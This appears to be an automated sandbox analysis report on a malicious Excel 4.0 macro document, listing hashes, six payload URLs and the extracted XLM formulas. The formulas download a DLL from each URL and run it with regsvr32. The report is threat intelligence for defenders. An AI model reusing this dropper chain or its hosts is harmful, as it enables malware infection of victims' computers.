e415540a80c90a58bafcacd615a2f3ffb72779732087c6dea42625199b013f2c

General

Target

e415540a80c90a58bafcacd615a2f3ffb72779732087c6dea42625199b013f2c
Size

40KB
Sample

241120-24alpaverh
MD5

ef9d311612e0afd8d4050da7b83b810f
SHA1

f5e0fae33e0e0efa4e347e690bbc9d1379dda639
SHA256

e415540a80c90a58bafcacd615a2f3ffb72779732087c6dea42625199b013f2c
SHA512

c9df02e01e27bc076abfb9070917cb0dbf5eeee9ad11d969d7aadeea15568f658044d665cc10a4287102d302da8627a9ef5e9dd8de3f473496f66f7d2028bff6
SSDEEP

768:i9oms9O+pOevZCwtxyKfcrND59V+L9Rw4eWrXcTqw0VfWZE:i9oms7tylND59V4jwmXc2RVfW+

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/

https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/

https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/

https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/

https://axial-ing.fr/old/98WgLPFy5u2Xf/

https://luape.es/wp-admin/moJpURVz/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://axial-ing.fr/old/98WgLPFy5u2Xf/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://luape.es/wp-admin/moJpURVz/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://queaventurasathya.com/licenses/r903sDTMHYLyn8ykMU/

xlm40.dropper

https://escuelageneraljosedesanmartin.com/tmp/5vJR7J/

xlm40.dropper

https://indianbusinessclub.org/wtzrlyx/Nfisb7Le5JH/

xlm40.dropper

https://cartelac.pt/wp-includes/VJMcayYWquGgVAGa/

xlm40.dropper

https://axial-ing.fr/old/98WgLPFy5u2Xf/

xlm40.dropper

https://luape.es/wp-admin/moJpURVz/